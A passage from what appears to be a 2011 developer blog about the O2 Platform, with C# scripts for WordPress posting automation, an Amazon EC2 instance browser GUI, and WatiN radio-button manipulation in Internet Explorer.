           .append_Link("stats", ()=> ie.open("https://o2platform.wordpress.com/wp-admin/index.php?page=stats"))
           .append_Link("new post", ()=> newPost())
            .append_Link("Wrap clipboard data with Source Code tags", ()=> wordPress.wrapClipboardTextInSourceCodeTags())
            .append_Link("upload image (from clipboard)", ()=> uploadImagefromClipboard());
         
         
login();
newPost();
postId = ie.field("post_ID").value();
"postId is: {0}".info(postId);

mapCookies();

return "ok";
 
//using System.IO
//using System.Drawing.Imaging
//O2File:API_WordPress.cs
//O2File:Watin_IE.cs
//O2File:ascx_AskUserForLoginDetails.cs
//O2Ref:WordPress_XmlRpc_JoeBlogs.dll
//O2Ref:Interop.SHDocVw.dll
//O2Ref:WatiN.Core.1x.dll
//using Jint.Expressions
//using O2.XRules.Database.Languages_and_Frameworks.Javascript
//using O2.XRules.Database.Utils.ExtensionMethods
//O2File:Jint_ExtensionMethods.cs
//O2File:HtmlAgilityPack_ExtensionMethods.cs
//O2Ref:O2_Misc_Microsoft_MPL_Libs.dll
//O2Ref:jint.dll

April 16, 2011 Posted by | IE Automation, WatiN | 3 Comments

O2 Tool – Amazon EC2 Browser

Here is a pretty cool tool that gives quick access to Amazon’s EC2 images. It contains a number of nice features (specially if you have used the web interface before) such as:

  • consolidated list of all instances from all zones,
  • start and stop instances
  • get instance’s log
  • rdp into instance (this opens and auto populates mstsc.exe )

This is what the GUI looks like:

And here is the source code of the script that builds this GUI (note the lamda methods which will eventually be moved into the AP_Amazon_EC2.cs file):

var apiKey = @"C:\O2\_USERDATA\accounts.xml".credential("AmazonAWS");
if (apiKey.isNull())
apiKey = ascx_AskUserForLoginDetails.ask();

var defaultRegion = "eu-west-1";//"us-west-1";
Func<List<string>> getEC2Regions =
()=>{
var ec2Client = new AmazonEC2Client(apiKey.UserName, apiKey.Password);
return (from region in  ec2Client.DescribeRegions(new DescribeRegionsRequest())
.DescribeRegionsResult.Region
select region.RegionName).toList();
};

Func<string, AmazonEC2Client> getEC2Client =
(region) => new AmazonEC2Client(apiKey.UserName,
apiKey.Password,
new AmazonEC2Config()
{ServiceURL = "http://{0}.ec2.amazonaws.com".format(region)}
);

Func<string,List<Reservation>> getReservationsInRegion =
(region)=>{
"Gettting Reservations in region: {0}".info(region);
var ec2ClientInRegion = getEC2Client(region);
var describesInstance = new DescribeInstancesRequest();
var reservations = ec2ClientInRegion.DescribeInstances(describesInstance)
.DescribeInstancesResult
.Reservation;

return reservations;
};

Func<bool, Dictionary<string,List<RunningInstance>>> getEC2Instances =
(onlyShowDefaultRegion)=>{
var instances = new Dictionary<string,List<RunningInstance>>();

var reservations = new List<Reservation>();
if (onlyShowDefaultRegion)
reservations.add(getReservationsInRegion(defaultRegion));
else
foreach(var region in getEC2Regions())
reservations.add(getReservationsInRegion(region));


foreach(var reservation in reservations)
foreach(var runningInstance in reservation.RunningInstance)
instances.add(reservation.GroupName.Aggregate((a, b) => a + ',' + b),
runningInstance);
return instances;
};


Action<RunningInstance> startInstance =
(runningInstance)=>{
"Starting instance with ID: {0}".info(runningInstance.InstanceId);
var ec2Client = getEC2Client(runningInstance.Placement.AvailabilityZone.removeLastChar());
var result = ec2Client.StartInstances(new StartInstancesRequest()
.WithInstanceId(runningInstance.InstanceId));
};

Action<RunningInstance> stopInstance =
(runningInstance)=>{
"Stopping instance with ID: {0}".info(runningInstance.InstanceId);
var ec2Client = getEC2Client(runningInstance.Placement.AvailabilityZone.removeLastChar());
var result = ec2Client.StopInstances(new StopInstancesRequest()
.WithInstanceId(runningInstance.InstanceId));
};

Action<RunningInstance> showConsoleOut =
(runningInstance)=>{
"Getting Console out instance with ID: {0}".info(runningInstance.InstanceId);
var ec2Client = getEC2Client(runningInstance.Placement.AvailabilityZone.removeLastChar());
var consoleOutResult = ec2Client.GetConsoleOutput(new GetConsoleOutputRequest()
.WithInstanceId(runningInstance.InstanceId));``
var consoleOut = consoleOutResult.GetConsoleOutputResult.ConsoleOutput.Output.base64Decode();
consoleOut.showInCodeViewer(".bat");
};

Action<RunningInstance> rdpIntoBox =
(runningInstance)=>{
"Creating RDP connection to instance with ID: {0} and IP ".info(runningInstance.InstanceId,runningInstance.IpAddress );
var terminalServicesClient = Processes.startProcess("mstsc.exe");
var guiAutomation = new API_GuiAutomation(terminalServicesClient);
var window = guiAutomation.window("Remote Desktop Connection");
window.textBox("Computer:").set_Text(runningInstance.IpAddress );
window.button("Connect").mouse().click();

};

/*Action<RunningInstance> testInstance =
(runningInstance)=>{
"Tests on  instance with ID: {0}".info(runningInstance.InstanceId);

};
*/

Action<Panel> showRunningInstancesDetails =
(targetPanel)=> {

var treeView = targetPanel.add_GroupBox("Amazon EC Instances").add_TreeView();
var actionsPanel = treeView.insert_Below(100);
treeView.beforeExpand<List<RunningInstance>>(
(treeNode, runningInstanceList) =>{
treeNode.clear();
treeNode.add_Nodes(runningInstanceList ,
(runningInstance) => "{0}  -  {1}  -  {2}  -  {3}  -  {4} ".format(
runningInstance.InstanceId,
runningInstance.InstanceType,
runningInstance.IpAddress,
runningInstance.Placement.AvailabilityZone,
runningInstance.InstanceState.Name))    ;
foreach(var node in treeNode.nodes())
if (node.get_Text().contains("stopped"))
node.color(Color.DarkGreen);
else if (node.get_Text().contains("running"))
node.color(Color.DarkRed);
else
node.color(Color.DarkBlue);

});
Action<bool> refresh =
(onlyShowDefaultRegion)=>{
treeView.backColor(Color.Azure);
O2Thread.mtaThread(
()=>{
var ec2Instances =     getEC2Instances(onlyShowDefaultRegion);
treeView.clear();
treeView.add_Nodes(ec2Instances.keys(), (text)=>text, (text) => ec2Instances.value(text), (text) => ec2Instances.value(text).size() > 0);
treeView.selectFirst().selected().expand().nodes()[0].selected();
treeView.backColor(Color.White);
});
};

actionsPanel.add_Link("Refresh Instances list (default Region)", 0,0, ()=> refresh(true)).click();
actionsPanel.add_Link("Refresh Instances list (all Regions)",20,0, ()=> refresh(false));

RunningInstance selectedInstance = null;
actionsPanel.add_Link("Show Instance Details", 40,0, ()=>  selectedInstance.details());
actionsPanel.add_Link("View Instance  Console Out", 60,0, ()=>  showConsoleOut(selectedInstance));
actionsPanel.add_Link("Start Instance ", 0,220, ()=> startInstance(selectedInstance));
actionsPanel.add_Link("Stop Instance ", 20,220, ()=> stopInstance(selectedInstance));
actionsPanel.add_Link("RDP Instance ", 40,220, ()=> rdpIntoBox(selectedInstance));


/*var link = actionsPanel.add_Link("Test request Instance ", 40,220, ()=> testInstance(selectedInstance));
O2Thread.mtaThread(()=>{
link.sleep(1000);
link.click();
});*/

//actionsPanel.add_Link("Show selected Instance Properties ", 20,0, ()=>  selectedInstance.showInfo()));
//treeView.insert_Above(20)

treeView.afterSelect<RunningInstance>((runningInstance)=> selectedInstance = runningInstance);
//var propertyGrid = actionsPanel.insert_Below().add_PropertyGrid();
//treeView.afterSelect<RunningInstance>((runningInstance)=> runningInstance.details());
//treeView.afterSelect<RunningInstance>((runningInstance)=> propertyGrid.show(runningInstance));

};

//var topPanel = panel.clear().add_Panel();
var topPanel = O2Gui.open<Panel>("AmazonEC2",500,400);
topPanel.insert_Below(100).add_LogViewer();
showRunningInstancesDetails(topPanel);
//using Amazon.EC2
//using Amazon.EC2.Model
//O2Ref:AWSSDK.dll
//O2File:ascx_AskUserForLoginDetails.cs
//O2File:API_GuiAutomation.cs
//O2Ref:White.Core.dll
//O2Ref:WatiN.Core.1x.dll

April 8, 2011 Posted by | EC2, WatiN | 2 Comments

IE Automation: Manipulating RadioButtons

I recently had a query from an O2 user about how to use O2’s IE automation APIs to manipulate radio buttons. Although this could be done by accessing the WatiN IE object directly, that was no O2 Wrapper like the one that exists for other IE objects (buttons, fields, etc..)

I just added a number of RadioButton extension methods to WatiN_ExtensionMethods.cs (which will be synced next time you start O2), and here here is a script that shows how to use it:

panel.clear();

var ie = panel.add_IE().silent(true);

var sampleHtml = "<html>".line()+
"    <head>".line()+
"        <title>My Page</title>".line()+
"    </head>".line()+
"    <body>".line()+
"        <form name=\"myform\" action=\"#\" method=\"POST\">".line()+
"            <input type=\"text\" name=\"textBox1\" value=\"this is a textBox\"><br>".line()+
"            <hr>".line()+
"            <input type=\"radio\" name=\"group1\" value=\"aaa\">Milk<br>".line()+
"            <input type=\"radio\" name=\"group1\" checked>Butter<br>".line()+
"            <input type=\"radio\" name=\"group1\">Cheese".line()+
"            <hr>".line()+
"            <input type=\"radio\" name=\"group2\">Water<br>".line()+
"            <input type=\"radio\" name=\"group2\">Beer<br>".line()+
"            <input type=\"radio\" name=\"group2\"  checked> Wine<br>".line()+
"        </form>".line()+
"    </body>".line()+
"</html>".line();

ie.set_Html(sampleHtml);
//return ie.radioButtons();            // get all radio buttons
//return ie.radioButtons()[0];        // get first radiobutton
//return ie.radioButtons().withName("group1");   // gets the radio buttons with a specific name
//return ie.radioButtons().values();  // get all values
//return ie.radioButtons().withName("group1").values();   // gets values from group
//return ie.radioButtons().names();                           // gets unique names
//return ie.radioButtons().withName("group1").withValue("Cheese");   // gets specific textbox
//return ie.radioButtons().withName("group1").withValue("Cheese").@checked();   // gets checked status
//return ie.radioButtons().withName("group1").withValue("Butter").@checked();
//return ie.radioButtons().withName("group1").withValue("Milk").@checked(true); //set checked status
ie.radioButtons().withName("group1").withValue("Cheese").@checked(true); //set checked status
ie.radioButtons().withName("group2").withValue("Water").@checked(true); //set checked status
return ie.radioButtons();

//O2File:WatiN_IE_ExtensionMethods.cs
//using O2.XRules.Database.Utils.O2
//O2Ref:WatiN.Core.1x.dll

March 31, 2011 Posted by | IE Automation, WatiN | 1 Comment